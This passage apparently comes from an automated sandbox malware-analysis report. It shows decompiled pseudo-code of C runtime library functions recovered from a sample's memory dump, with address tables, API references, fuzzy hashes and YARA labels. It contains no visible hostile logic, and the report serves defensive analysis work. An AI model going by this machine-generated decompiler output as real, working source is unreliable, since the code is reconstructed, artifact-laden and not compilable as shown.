													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00414738(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4214d0);
				E0040E1D8(__ebx, __edi, __esi);
				_t28 = E00410735(__ebx, __edx, __edi, _t30);
				_t13 =  *0x422e34; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0040D6E0(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x422f18; // 0x422e40
					 *((intOrPtr*)(_t29 - 0x1c)) = E004146FA(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E004147A2();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00410735(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E0040E79A(_t25, _t26, 0x20);
				}
				return E0040E21D(_t28);
			}

0x00414738
0x00414738
0x00414738
0x00414738
0x00414738
0x0041473a
0x0041473f
0x00414749
0x0041474b
0x00414753
0x00414777
0x00414779
0x0041477f
0x00414783
0x00414786
0x00414791
0x00414794
0x0041479b
0x00414755
0x00414755
0x00414759
0x00000000
0x0041475b
0x00414760
0x00414760
0x00414759
0x00414765
0x00414769
0x0041476e
0x00414776

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040C73D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t16;
				void* _t17;
				intOrPtr _t19;
				void* _t21;
				signed int _t22;
				intOrPtr* _t27;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t50;

				_t37 = __edx;
				_push(8);
				_push(0x421140);
				E0040E1D8(__ebx, __edi, __esi);
				_t39 = _a4;
				_t50 = _t39;
				_t51 = _t50 != 0;
				if(_t50 != 0) {
					E0040FB29(_t39);
					_v8 = 0;
					 *(_t39 + 0xc) =  *(_t39 + 0xc) & 0xffffffcf;
					_t16 = E0040FA20(__edx, _t39, _t39);
					__eflags = _t16 - 0xffffffff;
					if(_t16 == 0xffffffff) {
						L6:
						_t17 = 0x4227e0;
					} else {
						_t21 = E0040FA20(__edx, _t39, _t39);
						__eflags = _t21 - 0xfffffffe;
						if(_t21 == 0xfffffffe) {
							goto L6;
						} else {
							_t22 = E0040FA20(__edx, _t39, _t39);
							_t17 = ((E0040FA20(_t37, _t39, _t39) & 0x0000001f) << 6) +  *((intOrPtr*)(0x423f60 + (_t22 >> 5) * 4));
						}
					}
					_t9 = _t17 + 4; // 0xa80
					 *(_t17 + 4) =  *_t9 & 0x000000fd;
					_v8 = 0xfffffffe;
					E0040C735(_t39);
					_t19 = 0;
					__eflags = 0;
				} else {
					_t27 = E0040BFC1(_t51);
					_t40 = 0x16;
					 *_t27 = _t40;
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0040E744(__edx, _t40, 0);
					_t19 = _t40;
				}
				return E0040E21D(_t19);
			}

0x0040c73d
0x0040c690
0x0040c692
0x0040c697
0x0040c69e
0x0040c6a3
0x0040c6a8
0x0040c6aa
0x0040c6c8
0x0040c6ce
0x0040c6d1
0x0040c6d6
0x0040c6dc
0x0040c6df
0x0040c70f
0x0040c70f
0x0040c6e1
0x0040c6e2
0x0040c6e8
0x0040c6eb
0x00000000
0x0040c6ed
0x0040c6ee
0x0040c70b
0x0040c70b
0x0040c6eb
0x0040c714
0x0040c71b
0x0040c71e
0x0040c725
0x0040c72a
0x0040c72a
0x0040c6ac
0x0040c6ac
0x0040c6b3
0x0040c6b4
0x0040c6b6
0x0040c6b7
0x0040c6b8
0x0040c6b9
0x0040c6ba
0x0040c6bb
0x0040c6c3
0x0040c6c3
0x0040c731

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Uniqueness

Uniqueness Score: -1.00%

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00413FCC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x421490);
				E0040E1D8(__ebx, __edi, __esi);
				_t31 = E00410735(__ebx, __edx, __edi, _t35);
				_t15 =  *0x422e34; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0040D6E0(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x422d38; // 0x2031660
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x422910;
								if(__eflags != 0) {
									_push(_t33);
									E0040B6B5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x422d38; // 0x2031660
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x422d38; // 0x2031660
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414067();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E0040E79A(_t29, _t31, 0x20);
				}
				return E0040E21D(_t33);
			}

0x00413fcc
0x00413fcc
0x00413fcc
0x00413fcc
0x00413fce
0x00413fd3
0x00413fdd
0x00413fdf
0x00413fe7
0x00414008
0x0041400e
0x00414012
0x00414015
0x00414018
0x0041401e
0x00414020
0x00414022
0x00414025
0x0041402b
0x0041402d
0x0041402f
0x00414035
0x00414037
0x00414038
0x0041403d
0x00414035
0x0041402d
0x0041403e
0x00414043
0x00414046
0x0041404c
0x00414050
0x00414050
0x00414056
0x0041405d
0x00413fef
0x00413fef
0x00413fef
0x00413ff4
0x00413ff8
0x00413ffd
0x00414005

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(02031660), ref: 00414050

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

KERNEL32, xrefs: 00413610
IsProcessorFeaturePresent, xrefs: 0041361F

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25);
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000002.00000002.360346336.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.360346336.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.360346336.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_arJf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
